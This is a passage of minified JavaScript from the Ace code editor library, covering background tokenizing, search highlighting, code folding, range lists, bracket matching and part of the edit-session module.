Date-e>20){n.running=setTimeout(n.$worker,20);break}}n.currentLine=t,s<=r&&n.fireUpdateEvent(s,r)}};(function(){r.implement(this,i),this.setTokenizer=function(e){this.tokenizer=e,this.lines=[],this.states=[],this.start(0)},this.setDocument=function(e){this.doc=e,this.lines=[],this.states=[],this.stop()},this.fireUpdateEvent=function(e,t){var n={first:e,last:t};this._signal(\"update\",{data:n})},this.start=function(e){this.currentLine=Math.min(e||0,this.currentLine,this.doc.getLength()),this.lines.splice(this.currentLine,this.lines.length),this.states.splice(this.currentLine,this.states.length),this.stop(),this.running=setTimeout(this.$worker,700)},this.scheduleStart=function(){this.running||(this.running=setTimeout(this.$worker,700))},this.$updateOnChange=function(e){var t=e.start.row,n=e.end.row-t;if(n===0)this.lines[t]=null;else if(e.action==\"remove\")this.lines.splice(t,n+1,null),this.states.splice(t,n+1,null);else{var r=Array(n+1);r.unshift(t,1),this.lines.splice.apply(this.lines,r),this.states.splice.apply(this.states,r)}this.currentLine=Math.min(t,this.currentLine,this.doc.getLength()),this.stop()},this.stop=function(){this.running&&clearTimeout(this.running),this.running=!1},this.getTokens=function(e){return this.lines[e]||this.$tokenizeRow(e)},this.getState=function(e){return this.currentLine==e&&this.$tokenizeRow(e),this.states[e]||\"start\"},this.$tokenizeRow=function(e){var t=this.doc.getLine(e),n=this.states[e-1],r=this.tokenizer.getLineTokens(t,n,e);return this.states[e]+\"\"!=r.state+\"\"?(this.states[e]=r.state,this.lines[e+1]=null,this.currentLine>e+1&&(this.currentLine=e+1)):this.currentLine==e&&(this.currentLine=e+1),this.lines[e]=r.tokens}}).call(s.prototype),t.BackgroundTokenizer=s}),ace.define(\"ace/search_highlight\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\",\"ace/lib/oop\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"./lib/lang\"),i=e(\"./lib/oop\"),s=e(\"./range\").Range,o=function(e,t,n){this.setRegexp(e),this.clazz=t,this.type=n||\"text\"};(function(){this.MAX_RANGES=500,this.setRegexp=function(e){if(this.regExp+\"\"==e+\"\")return;this.regExp=e,this.cache=[]},this.update=function(e,t,n,i){if(!this.regExp)return;var o=i.firstRow,u=i.lastRow;for(var a=o;a<=u;a++){var f=this.cache[a];f==null&&(f=r.getMatchOffsets(n.getLine(a),this.regExp),f.length>this.MAX_RANGES&&(f=f.slice(0,this.MAX_RANGES)),f=f.map(function(e){return new s(a,e.offset,a,e.offset+e.length)}),this.cache[a]=f.length?f:\"\");for(var l=f.length;l--;)t.drawSingleLineMarker(e,f[l].toScreenRange(n),this.clazz,i)}}}).call(o.prototype),t.SearchHighlight=o}),ace.define(\"ace/edit_session/fold_line\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";function i(e,t){this.foldData=e,Array.isArray(t)?this.folds=t:t=this.folds=[t];var n=t[t.length-1];this.range=new r(t[0].start.row,t[0].start.column,n.end.row,n.end.column),this.start=this.range.start,this.end=this.range.end,this.folds.forEach(function(e){e.setFoldLine(this)},this)}var r=e(\"../range\").Range;(function(){this.shiftRow=function(e){this.start.row+=e,this.end.row+=e,this.folds.forEach(function(t){t.start.row+=e,t.end.row+=e})},this.addFold=function(e){if(e.sameRow){if(e.start.row<this.startRow||e.endRow>this.endRow)throw new Error(\"Can't add a fold to this FoldLine as it has no connection\");this.folds.push(e),this.folds.sort(function(e,t){return-e.range.compareEnd(t.start.row,t.start.column)}),this.range.compareEnd(e.start.row,e.start.column)>0?(this.end.row=e.end.row,this.end.column=e.end.column):this.range.compareStart(e.end.row,e.end.column)<0&&(this.start.row=e.start.row,this.start.column=e.start.column)}else if(e.start.row==this.end.row)this.folds.push(e),this.end.row=e.end.row,this.end.column=e.end.column;else{if(e.end.row!=this.start.row)throw new Error(\"Trying to add fold to FoldRow that doesn't have a matching row\");this.folds.unshift(e),this.start.row=e.start.row,this.start.column=e.start.column}e.foldLine=this},this.containsRow=function(e){return e>=this.start.row&&e<=this.end.row},this.walk=function(e,t,n){var r=0,i=this.folds,s,o,u,a=!0;t==null&&(t=this.end.row,n=this.end.column);for(var f=0;f<i.length;f++){s=i[f],o=s.range.compareStart(t,n);if(o==-1){e(null,t,n,r,a);return}u=e(null,s.start.row,s.start.column,r,a),u=!u&&e(s.placeholder,s.start.row,s.start.column,r);if(u||o===0)return;a=!s.sameRow,r=s.end.column}e(null,t,n,r,a)},this.getNextFoldTo=function(e,t){var n,r;for(var i=0;i<this.folds.length;i++){n=this.folds[i],r=n.range.compareEnd(e,t);if(r==-1)return{fold:n,kind:\"after\"};if(r===0)return{fold:n,kind:\"inside\"}}return null},this.addRemoveChars=function(e,t,n){var r=this.getNextFoldTo(e,t),i,s;if(r){i=r.fold;if(r.kind==\"inside\"&&i.start.column!=t&&i.start.row!=e)window.console&&window.console.log(e,t,i);else if(i.start.row==e){s=this.folds;var o=s.indexOf(i);o===0&&(this.start.column+=n);for(o;o<s.length;o++){i=s[o],i.start.column+=n;if(!i.sameRow)return;i.end.column+=n}this.end.column+=n}}},this.split=function(e,t){var n=this.getNextFoldTo(e,t);if(!n||n.kind==\"inside\")return null;var r=n.fold,s=this.folds,o=this.foldData,u=s.indexOf(r),a=s[u-1];this.end.row=a.end.row,this.end.column=a.end.column,s=s.splice(u,s.length-u);var f=new i(o,s);return o.splice(o.indexOf(this)+1,0,f),f},this.merge=function(e){var t=e.folds;for(var n=0;n<t.length;n++)this.addFold(t[n]);var r=this.foldData;r.splice(r.indexOf(e),1)},this.toString=function(){var e=[this.range.toString()+\": [\"];return this.folds.forEach(function(t){e.push(\"  \"+t.toString())}),e.push(\"]\"),e.join(\"\\n\")},this.idxToPosition=function(e){var t=0;for(var n=0;n<this.folds.length;n++){var r=this.folds[n];e-=r.start.column-t;if(e<0)return{row:r.start.row,column:r.start.column+e};e-=r.placeholder.length;if(e<0)return r.start;t=r.end.column}return{row:this.end.row,column:this.end.column+e}}}).call(i.prototype),t.FoldLine=i}),ace.define(\"ace/range_list\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"./range\").Range,i=r.comparePoints,s=function(){this.ranges=[]};(function(){this.comparePoints=i,this.pointIndex=function(e,t,n){var r=this.ranges;for(var s=n||0;s<r.length;s++){var o=r[s],u=i(e,o.end);if(u>0)continue;var a=i(e,o.start);return u===0?t&&a!==0?-s-2:s:a>0||a===0&&!t?s:-s-1}return-s-1},this.add=function(e){var t=!e.isEmpty(),n=this.pointIndex(e.start,t);n<0&&(n=-n-1);var r=this.pointIndex(e.end,t,n);return r<0?r=-r-1:r++,this.ranges.splice(n,r-n,e)},this.addList=function(e){var t=[];for(var n=e.length;n--;)t.push.call(t,this.add(e[n]));return t},this.substractPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges.splice(t,1)},this.merge=function(){var e=[],t=this.ranges;t=t.sort(function(e,t){return i(e.start,t.start)});var n=t[0],r;for(var s=1;s<t.length;s++){r=n,n=t[s];var o=i(r.end,n.start);if(o<0)continue;if(o==0&&!r.isEmpty()&&!n.isEmpty())continue;i(r.end,n.end)<0&&(r.end.row=n.end.row,r.end.column=n.end.column),t.splice(s,1),e.push(n),n=r,s--}return this.ranges=t,e},this.contains=function(e,t){return this.pointIndex({row:e,column:t})>=0},this.containsPoint=function(e){return this.pointIndex(e)>=0},this.rangeAtPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges[t]},this.clipRows=function(e,t){var n=this.ranges;if(n[0].start.row>t||n[n.length-1].start.row<e)return[];var r=this.pointIndex({row:e,column:0});r<0&&(r=-r-1);var i=this.pointIndex({row:t,column:0},r);i<0&&(i=-i-1);var s=[];for(var o=r;o<i;o++)s.push(n[o]);return s},this.removeAll=function(){return this.ranges.splice(0,this.ranges.length)},this.attach=function(e){this.session&&this.detach(),this.session=e,this.onChange=this.$onChange.bind(this),this.session.on(\"change\",this.onChange)},this.detach=function(){if(!this.session)return;this.session.removeListener(\"change\",this.onChange),this.session=null},this.$onChange=function(e){if(e.action==\"insert\")var t=e.start,n=e.end;else var n=e.start,t=e.end;var r=t.row,i=n.row,s=i-r,o=-t.column+n.column,u=this.ranges;for(var a=0,f=u.length;a<f;a++){var l=u[a];if(l.end.row<r)continue;if(l.start.row>r)break;l.start.row==r&&l.start.column>=t.column&&(l.start.column!=t.column||!this.$insertRight)&&(l.start.column+=o,l.start.row+=s);if(l.end.row==r&&l.end.column>=t.column){if(l.end.column==t.column&&this.$insertRight)continue;l.end.column==t.column&&o>0&&a<f-1&&l.end.column>l.start.column&&l.end.column==u[a+1].start.column&&(l.end.column-=o),l.end.column+=o,l.end.row+=s}}if(s!=0&&a<f)for(;a<f;a++){var l=u[a];l.start.row+=s,l.end.row+=s}}}).call(s.prototype),t.RangeList=s}),ace.define(\"ace/edit_session/fold\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/range_list\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";function u(e,t){e.row-=t.row,e.row==0&&(e.column-=t.column)}function a(e,t){u(e.start,t),u(e.end,t)}function f(e,t){e.row==0&&(e.column+=t.column),e.row+=t.row}function l(e,t){f(e.start,t),f(e.end,t)}var r=e(\"../range\").Range,i=e(\"../range_list\").RangeList,s=e(\"../lib/oop\"),o=t.Fold=function(e,t){this.foldLine=null,this.placeholder=t,this.range=e,this.start=e.start,this.end=e.end,this.sameRow=e.start.row==e.end.row,this.subFolds=this.ranges=[]};s.inherits(o,i),function(){this.toString=function(){return'\"'+this.placeholder+'\" '+this.range.toString()},this.setFoldLine=function(e){this.foldLine=e,this.subFolds.forEach(function(t){t.setFoldLine(e)})},this.clone=function(){var e=this.range.clone(),t=new o(e,this.placeholder);return this.subFolds.forEach(function(e){t.subFolds.push(e.clone())}),t.collapseChildren=this.collapseChildren,t},this.addSubFold=function(e){if(this.range.isEqual(e))return;if(!this.range.containsRange(e))throw new Error(\"A fold can't intersect already existing fold\"+e.range+this.range);a(e,this.start);var t=e.start.row,n=e.start.column;for(var r=0,i=-1;r<this.subFolds.length;r++){i=this.subFolds[r].range.compare(t,n);if(i!=1)break}var s=this.subFolds[r];if(i==0)return s.addSubFold(e);var t=e.range.end.row,n=e.range.end.column;for(var o=r,i=-1;o<this.subFolds.length;o++){i=this.subFolds[o].range.compare(t,n);if(i!=1)break}var u=this.subFolds[o];if(i==0)throw new Error(\"A fold can't intersect already existing fold\"+e.range+this.range);var f=this.subFolds.splice(r,o-r,e);return e.setFoldLine(this.foldLine),e},this.restoreRange=function(e){return l(e,this.start)}}.call(o.prototype)}),ace.define(\"ace/edit_session/folding\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/edit_session/fold_line\",\"ace/edit_session/fold\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function u(){this.getFoldAt=function(e,t,n){var r=this.getFoldLine(e);if(!r)return null;var i=r.folds;for(var s=0;s<i.length;s++){var o=i[s];if(o.range.contains(e,t)){if(n==1&&o.range.isEnd(e,t))continue;if(n==-1&&o.range.isStart(e,t))continue;return o}}},this.getFoldsInRange=function(e){var t=e.start,n=e.end,r=this.$foldData,i=[];t.column+=1,n.column-=1;for(var s=0;s<r.length;s++){var o=r[s].range.compareRange(e);if(o==2)continue;if(o==-2)break;var u=r[s].folds;for(var a=0;a<u.length;a++){var f=u[a];o=f.range.compareRange(e);if(o==-2)break;if(o==2)continue;if(o==42)break;i.push(f)}}return t.column-=1,n.column+=1,i},this.getFoldsInRangeList=function(e){if(Array.isArray(e)){var t=[];e.forEach(function(e){t=t.concat(this.getFoldsInRange(e))},this)}else var t=this.getFoldsInRange(e);return t},this.getAllFolds=function(){var e=[],t=this.$foldData;for(var n=0;n<t.length;n++)for(var r=0;r<t[n].folds.length;r++)e.push(t[n].folds[r]);return e},this.getFoldStringAt=function(e,t,n,r){r=r||this.getFoldLine(e);if(!r)return null;var i={end:{column:0}},s,o;for(var u=0;u<r.folds.length;u++){o=r.folds[u];var a=o.range.compareEnd(e,t);if(a==-1){s=this.getLine(o.start.row).substring(i.end.column,o.start.column);break}if(a===0)return null;i=o}return s||(s=this.getLine(o.start.row).substring(i.end.column)),n==-1?s.substring(0,t-i.end.column):n==1?s.substring(t-i.end.column):s},this.getFoldLine=function(e,t){var n=this.$foldData,r=0;t&&(r=n.indexOf(t)),r==-1&&(r=0);for(r;r<n.length;r++){var i=n[r];if(i.start.row<=e&&i.end.row>=e)return i;if(i.end.row>e)return null}return null},this.getNextFoldLine=function(e,t){var n=this.$foldData,r=0;t&&(r=n.indexOf(t)),r==-1&&(r=0);for(r;r<n.length;r++){var i=n[r];if(i.end.row>=e)return i}return null},this.getFoldedRowCount=function(e,t){var n=this.$foldData,r=t-e+1;for(var i=0;i<n.length;i++){var s=n[i],o=s.end.row,u=s.start.row;if(o>=t){u<t&&(u>=e?r-=t-u:r=0);break}o>=e&&(u>=e?r-=o-u:r-=o-e+1)}return r},this.$addFoldLine=function(e){return this.$foldData.push(e),this.$foldData.sort(function(e,t){return e.start.row-t.start.row}),e},this.addFold=function(e,t){var n=this.$foldData,r=!1,o;e instanceof s?o=e:(o=new s(t,e),o.collapseChildren=t.collapseChildren),this.$clipRangeToDocument(o.range);var u=o.start.row,a=o.start.column,f=o.end.row,l=o.end.column;if(u<f||u==f&&a<=l-2){var c=this.getFoldAt(u,a,1),h=this.getFoldAt(f,l,-1);if(c&&h==c)return c.addSubFold(o);c&&!c.range.isStart(u,a)&&this.removeFold(c),h&&!h.range.isEnd(f,l)&&this.removeFold(h);var p=this.getFoldsInRange(o.range);p.length>0&&(this.removeFolds(p),p.forEach(function(e){o.addSubFold(e)}));for(var d=0;d<n.length;d++){var v=n[d];if(f==v.start.row){v.addFold(o),r=!0;break}if(u==v.end.row){v.addFold(o),r=!0;if(!o.sameRow){var m=n[d+1];if(m&&m.start.row==f){v.merge(m);break}}break}if(f<=v.start.row)break}return r||(v=this.$addFoldLine(new i(this.$foldData,o))),this.$useWrapMode?this.$updateWrapData(v.start.row,v.start.row):this.$updateRowLengthCache(v.start.row,v.start.row),this.$modified=!0,this._emit(\"changeFold\",{data:o,action:\"add\"}),o}throw new Error(\"The range has to be at least 2 characters width\")},this.addFolds=function(e){e.forEach(function(e){this.addFold(e)},this)},this.removeFold=function(e){var t=e.foldLine,n=t.start.row,r=t.end.row,i=this.$foldData,s=t.folds;if(s.length==1)i.splice(i.indexOf(t),1);else if(t.range.isEnd(e.end.row,e.end.column))s.pop(),t.end.row=s[s.length-1].end.row,t.end.column=s[s.length-1].end.column;else if(t.range.isStart(e.start.row,e.start.column))s.shift(),t.start.row=s[0].start.row,t.start.column=s[0].start.column;else if(e.sameRow)s.splice(s.indexOf(e),1);else{var o=t.split(e.start.row,e.start.column);s=o.folds,s.shift(),o.start.row=s[0].start.row,o.start.column=s[0].start.column}this.$updating||(this.$useWrapMode?this.$updateWrapData(n,r):this.$updateRowLengthCache(n,r)),this.$modified=!0,this._emit(\"changeFold\",{data:e,action:\"remove\"})},this.removeFolds=function(e){var t=[];for(var n=0;n<e.length;n++)t.push(e[n]);t.forEach(function(e){this.removeFold(e)},this),this.$modified=!0},this.expandFold=function(e){this.removeFold(e),e.subFolds.forEach(function(t){e.restoreRange(t),this.addFold(t)},this),e.collapseChildren>0&&this.foldAll(e.start.row+1,e.end.row,e.collapseChildren-1),e.subFolds=[]},this.expandFolds=function(e){e.forEach(function(e){this.expandFold(e)},this)},this.unfold=function(e,t){var n,i;e==null?(n=new r(0,0,this.getLength(),0),t=!0):typeof e==\"number\"?n=new r(e,0,e,this.getLine(e).length):\"row\"in e?n=r.fromPoints(e,e):n=e,i=this.getFoldsInRangeList(n);if(t)this.removeFolds(i);else{var s=i;while(s.length)this.expandFolds(s),s=this.getFoldsInRangeList(n)}if(i.length)return i},this.isRowFolded=function(e,t){return!!this.getFoldLine(e,t)},this.getRowFoldEnd=function(e,t){var n=this.getFoldLine(e,t);return n?n.end.row:e},this.getRowFoldStart=function(e,t){var n=this.getFoldLine(e,t);return n?n.start.row:e},this.getFoldDisplayLine=function(e,t,n,r,i){r==null&&(r=e.start.row),i==null&&(i=0),t==null&&(t=e.end.row),n==null&&(n=this.getLine(t).length);var s=this.doc,o=\"\";return e.walk(function(e,t,n,u){if(t<r)return;if(t==r){if(n<i)return;u=Math.max(i,u)}e!=null?o+=e:o+=s.getLine(t).substring(u,n)},t,n),o},this.getDisplayLine=function(e,t,n,r){var i=this.getFoldLine(e);if(!i){var s;return s=this.doc.getLine(e),s.substring(r||0,t||s.length)}return this.getFoldDisplayLine(i,e,t,n,r)},this.$cloneFoldData=function(){var e=[];return e=this.$foldData.map(function(t){var n=t.folds.map(function(e){return e.clone()});return new i(e,n)}),e},this.toggleFold=function(e){var t=this.selection,n=t.getRange(),r,i;if(n.isEmpty()){var s=n.start;r=this.getFoldAt(s.row,s.column);if(r){this.expandFold(r);return}(i=this.findMatchingBracket(s))?n.comparePoint(i)==1?n.end=i:(n.start=i,n.start.column++,n.end.column--):(i=this.findMatchingBracket({row:s.row,column:s.column+1}))?(n.comparePoint(i)==1?n.end=i:n.start=i,n.start.column++):n=this.getCommentFoldRange(s.row,s.column)||n}else{var o=this.getFoldsInRange(n);if(e&&o.length){this.expandFolds(o);return}o.length==1&&(r=o[0])}r||(r=this.getFoldAt(n.start.row,n.start.column));if(r&&r.range.toString()==n.toString()){this.expandFold(r);return}var u=\"...\";if(!n.isMultiLine()){u=this.getTextRange(n);if(u.length<4)return;u=u.trim().substring(0,2)+\"..\"}this.addFold(u,n)},this.getCommentFoldRange=function(e,t,n){var i=new o(this,e,t),s=i.getCurrentToken();if(s&&/^comment|string/.test(s.type)){var u=new r,a=new RegExp(s.type.replace(/\\..*/,\"\\\\.\"));if(n!=1){do s=i.stepBackward();while(s&&a.test(s.type));i.stepForward()}u.start.row=i.getCurrentTokenRow(),u.start.column=i.getCurrentTokenColumn()+2,i=new o(this,e,t);if(n!=-1){do s=i.stepForward();while(s&&a.test(s.type));s=i.stepBackward()}else s=i.getCurrentToken();return u.end.row=i.getCurrentTokenRow(),u.end.column=i.getCurrentTokenColumn()+s.value.length-2,u}},this.foldAll=function(e,t,n){n==undefined&&(n=1e5);var r=this.foldWidgets;if(!r)return;t=t||this.getLength(),e=e||0;for(var i=e;i<t;i++){r[i]==null&&(r[i]=this.getFoldWidget(i));if(r[i]!=\"start\")continue;var s=this.getFoldWidgetRange(i);if(s&&s.isMultiLine()&&s.end.row<=t&&s.start.row>=e){i=s.end.row;try{var o=this.addFold(\"...\",s);o&&(o.collapseChildren=n)}catch(u){}}}},this.$foldStyles={manual:1,markbegin:1,markbeginend:1},this.$foldStyle=\"markbegin\",this.setFoldStyle=function(e){if(!this.$foldStyles[e])throw new Error(\"invalid fold style: \"+e+\"[\"+Object.keys(this.$foldStyles).join(\", \")+\"]\");if(this.$foldStyle==e)return;this.$foldStyle=e,e==\"manual\"&&this.unfold();var t=this.$foldMode;this.$setFolding(null),this.$setFolding(t)},this.$setFolding=function(e){if(this.$foldMode==e)return;this.$foldMode=e,this.off(\"change\",this.$updateFoldWidgets),this.off(\"tokenizerUpdate\",this.$tokenizerUpdateFoldWidgets),this._emit(\"changeAnnotation\");if(!e||this.$foldStyle==\"manual\"){this.foldWidgets=null;return}this.foldWidgets=[],this.getFoldWidget=e.getFoldWidget.bind(e,this,this.$foldStyle),this.getFoldWidgetRange=e.getFoldWidgetRange.bind(e,this,this.$foldStyle),this.$updateFoldWidgets=this.updateFoldWidgets.bind(this),this.$tokenizerUpdateFoldWidgets=this.tokenizerUpdateFoldWidgets.bind(this),this.on(\"change\",this.$updateFoldWidgets),this.on(\"tokenizerUpdate\",this.$tokenizerUpdateFoldWidgets)},this.getParentFoldRangeData=function(e,t){var n=this.foldWidgets;if(!n||t&&n[e])return{};var r=e-1,i;while(r>=0){var s=n[r];s==null&&(s=n[r]=this.getFoldWidget(r));if(s==\"start\"){var o=this.getFoldWidgetRange(r);i||(i=o);if(o&&o.end.row>=e)break}r--}return{range:r!==-1&&o,firstRange:i}},this.onFoldWidgetClick=function(e,t){t=t.domEvent;var n={children:t.shiftKey,all:t.ctrlKey||t.metaKey,siblings:t.altKey},r=this.$toggleFoldWidget(e,n);if(!r){var i=t.target||t.srcElement;i&&/ace_fold-widget/.test(i.className)&&(i.className+=\" ace_invalid\")}},this.$toggleFoldWidget=function(e,t){if(!this.getFoldWidget)return;var n=this.getFoldWidget(e),r=this.getLine(e),i=n===\"end\"?-1:1,s=this.getFoldAt(e,i===-1?0:r.length,i);if(s){t.children||t.all?this.removeFold(s):this.expandFold(s);return}var o=this.getFoldWidgetRange(e,!0);if(o&&!o.isMultiLine()){s=this.getFoldAt(o.start.row,o.start.column,1);if(s&&o.isEqual(s.range)){this.removeFold(s);return}}if(t.siblings){var u=this.getParentFoldRangeData(e);if(u.range)var a=u.range.start.row+1,f=u.range.end.row;this.foldAll(a,f,t.all?1e4:0)}else t.children?(f=o?o.end.row:this.getLength(),this.foldAll(e+1,f,t.all?1e4:0)):o&&(t.all&&(o.collapseChildren=1e4),this.addFold(\"...\",o));return o},this.toggleFoldWidget=function(e){var t=this.selection.getCursor().row;t=this.getRowFoldStart(t);var n=this.$toggleFoldWidget(t,{});if(n)return;var r=this.getParentFoldRangeData(t,!0);n=r.range||r.firstRange;if(n){t=n.start.row;var i=this.getFoldAt(t,this.getLine(t).length,1);i?this.removeFold(i):this.addFold(\"...\",n)}},this.updateFoldWidgets=function(e){var t=e.start.row,n=e.end.row-t;if(n===0)this.foldWidgets[t]=null;else if(e.action==\"remove\")this.foldWidgets.splice(t,n+1,null);else{var r=Array(n+1);r.unshift(t,1),this.foldWidgets.splice.apply(this.foldWidgets,r)}},this.tokenizerUpdateFoldWidgets=function(e){var t=e.data;t.first!=t.last&&this.foldWidgets.length>t.first&&this.foldWidgets.splice(t.first,this.foldWidgets.length)}}var r=e(\"../range\").Range,i=e(\"./fold_line\").FoldLine,s=e(\"./fold\").Fold,o=e(\"../token_iterator\").TokenIterator;t.Folding=u}),ace.define(\"ace/edit_session/bracket_match\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\",\"ace/range\"],function(e,t,n){\"use strict\";function s(){this.findMatchingBracket=function(e,t){if(e.column==0)return null;var n=t||this.getLine(e.row).charAt(e.column-1);if(n==\"\")return null;var r=n.match(/([\\(\\[\\{])|([\\)\\]\\}])/);return r?r[1]?this.$findClosingBracket(r[1],e):this.$findOpeningBracket(r[2],e):null},this.getBracketRange=function(e){var t=this.getLine(e.row),n=!0,r,s=t.charAt(e.column-1),o=s&&s.match(/([\\(\\[\\{])|([\\)\\]\\}])/);o||(s=t.charAt(e.column),e={row:e.row,column:e.column+1},o=s&&s.match(/([\\(\\[\\{])|([\\)\\]\\}])/),n=!1);if(!o)return null;if(o[1]){var u=this.$findClosingBracket(o[1],e);if(!u)return null;r=i.fromPoints(e,u),n||(r.end.column++,r.start.column--),r.cursor=r.end}else{var u=this.$findOpeningBracket(o[2],e);if(!u)return null;r=i.fromPoints(u,e),n||(r.start.column++,r.end.column--),r.cursor=r.start}return r},this.$brackets={\")\":\"(\",\"(\":\")\",\"]\":\"[\",\"[\":\"]\",\"{\":\"}\",\"}\":\"{\"},this.$findOpeningBracket=function(e,t,n){var i=this.$brackets[e],s=1,o=new r(this,t.row,t.column),u=o.getCurrentToken();u||(u=o.stepForward());if(!u)return;n||(n=new RegExp(\"(\\\\.?\"+u.type.replace(\".\",\"\\\\.\").replace(\"rparen\",\".paren\").replace(/\\b(?:end)\\b/,\"(?:start|begin|end)\")+\")+\"));var a=t.column-o.getCurrentTokenColumn()-2,f=u.value;for(;;){while(a>=0){var l=f.charAt(a);if(l==i){s-=1;if(s==0)return{row:o.getCurrentTokenRow(),column:a+o.getCurrentTokenColumn()}}else l==e&&(s+=1);a-=1}do u=o.stepBackward();while(u&&!n.test(u.type));if(u==null)break;f=u.value,a=f.length-1}return null},this.$findClosingBracket=function(e,t,n){var i=this.$brackets[e],s=1,o=new r(this,t.row,t.column),u=o.getCurrentToken();u||(u=o.stepForward());if(!u)return;n||(n=new RegExp(\"(\\\\.?\"+u.type.replace(\".\",\"\\\\.\").replace(\"lparen\",\".paren\").replace(/\\b(?:start|begin)\\b/,\"(?:start|begin|end)\")+\")+\"));var a=t.column-o.getCurrentTokenColumn();for(;;){var f=u.value,l=f.length;while(a<l){var c=f.charAt(a);if(c==i){s-=1;if(s==0)return{row:o.getCurrentTokenRow(),column:a+o.getCurrentTokenColumn()}}else c==e&&(s+=1);a+=1}do u=o.stepForward();while(u&&!n.test(u.type));if(u==null)break;a=0}return null}}var r=e(\"../token_iterator\").TokenIterator,i=e(\"../range\").Range;t.BracketMatch=s}),ace.define(\"ace/edit_session\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/config\",\"ace/lib/event_emitter\",\"ace/selection\",\"ace/mode/text\",\"ace/range\",\"ace/document\",\"ace/background_tokenizer\",\"ace/search_highlight\",\"ace/edit_session/folding\",\"ace/edit_session/bracket_match\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/lang\"),s=e(\"./config\"),o=e(\"./lib/event_emitter\").EventEmitter,u=e(\"./selection\").Selection,a=e(\"./mode/text\").Mode,f=e(\"./range\").Range,l=e(\"./document\").Document,c=e(\"./background_tokenizer\").BackgroundTokenizer,h=e(\"./search_highlight\").SearchHighlight,p=function(e,t){this.$breakpoints=[],this.$decorations=[],this.$frontMarkers={},this.$backMarkers={},this.$markerId=1,this.$undoSelect=!0,this.$foldData=[],this.$foldData.toString=function(){return this.join(\"\\n\")},this.on(\"changeFold\",this.onChangeFold.bind(this)),this.$onChange=this.onChange.bind(this);if(typeof e!=\"object\"||!e.getLine)e=new l(e);this.setDocument(e),this.selection=new u(this),s.resetOptions(this),this.setMode(t),s._signal(\"session\",this)};(function(){function m(e){return e<4352?!1:e>=4352&&e<=4447||e>=4515&&e<=4519||e>=4602&&e<=4607||e>=9001&&e<=9002||e>=11904&&e<=11929||e>=11931&&e<=12019||e>=12032&&e<=12245||e>=12272&&e<=12283||e>=12288&&e<=12350||e>=12353&&e<=12438||e>=12441&&e<=12543||e>=12549&&e<=12589||e>=12593&&e<=12686||e>=12688&&e<=12730||e>=12736&&e<=12771||e>=12784&&e<=12830||e>=12832&&e<=12871||e>=12880&&e<=13054||e>=13056&&e<=19903||e>=19968&&e<=42124||e>=42128&&e<=42182||e>=43360&&e<=43388||e>=44032&&e<=55203||e>=55216&&e<=55238||e>=55243&&e<=55291||e>=63744&&e<=64255||e>=65040&&e<=65049||e>=65072&&e<=65106||e>=65108&&e<=65126||e>=65128&&e<=65131||e>=65281&&e<=65376||e>=65504&&e<=65510}r.implement(this,o),this.setDocument=function(e){this.doc&&this.doc.removeListener(\"change\",this.$onChange),this.doc=e,e.on(\"change\",this.$onChange),this.bgTokenizer&&this.bgTokenizer.setDocument(this.getDocument()),this.resetCaches()},this.getDocument=function(){return this.doc},this.$resetRowCache=function(e){if(!e){this.$docRowCache=[],this.$screenRowCache=[];return}var t=this.$docRowCache.length,n=this.$getRowCacheIndex(this.$docRowCache,e)+1;t>n&&(this.$docRowCache.splice(n,t),this.$screenRowCache.splice(n,t))},this.$getRowCacheIndex=function(e,t){var n=0,r=e.length-1;while(n<=r){var i=n+r>>1,s=e[i];if(t>s)n=i+1;else{if(!(t<s))return i;r=i-1}}return n-1},this.resetCaches=function(){this.$modified=!0,this.$wrapData=[],this.$rowLengthCache=[],this.$resetRowCache(0),this.bgTokenizer&&this.bgTokenizer.start(0)},this.onChangeFold=function(e){var t=e.data;this.$resetRowCache(t.start.row)},this.onChange=function(e){this.$modified=!0,this.$resetRowCache(e.start.row);var t=this.$updateInternalDataOnChange(e);!this.$fromUndo&&this.$undoManager&&!e.ignore&&(this.$deltasDoc.push(e),t&&t.length!=0&&this.$deltasFold.push({action:\"removeFolds\",folds:t}),this.$informUndoManager.schedule()),this.bgTokenizer&&this.bgTokenizer.$updateOnChange(e),this._signal(\"change\",e)},this.setValue=function(e){this.doc.setValue(e),this.selection.moveTo(0,0),this.$resetRowCache(0),this.$deltas=[],this.$deltasDoc=[],this.$deltasFold=[],this.setUndoManager(this.$undoManager),this.getUndoManager().reset()},this.getValue=this.toString=function(){return this.doc.getValue()},this.getSelection=function(){return this.selection},this.getState=function(e){return this.bgTokenizer.getState(e)},this.getTokens=function(e){return this.bgTokenizer.getTokens(e)},this.getTokenAt=function(e,t){var n=this.bgTokenizer.getTokens(e),r,i=0;if(t==null)s=n.length-1,i=this.getLine(e).length;else for(var s=0;s<n.length;s++){i+=n[s].value.length;if(i>=t)break}return r=n[s],r?(r.index=s,r.start=i-r.value.length,r):null},this.setUndoManager=function(e){this.$undoManager=e,this.$deltas=[],this.$deltasDoc=[],this.$deltasFold=[],this.$informUndoManager&&this.$informUndoManager.cancel();if(e){var t=this;this.$syncInformUndoManager=function(){t.$informUndoManager.cancel(),t.$deltasFold.length&&(t.$deltas.push({group:\"fold\",deltas:t.$deltasFold}),t.$deltasFold=[]),t.$deltasDoc.length&&(t.$deltas.push({group:\"doc\",deltas:t.$deltasDoc}),t.$deltasDoc=[]),t.$deltas.length>0&&e.execute({action:\"aceupdate\",args:[t.$deltas,t],merge:t.mergeUndoDeltas}),t.mergeUndoDeltas=!1,t.$deltas=[]},this.$informUndoManager=i.delayedCall(this.$syncInformUndoManager)}},this.markUndoGroup=function(){this.$syncInformUndoManager&&this.$syncInformUndoManager()},this.$defaultUndoManager={undo:function(){},redo:function(){},reset:function(){}},this.getUndoManager=function(){return this.$undoManager||this.$defaultUndoManager},this.getTabString=function(){return this.getUseSoftTabs()?i.stringRepeat(\" 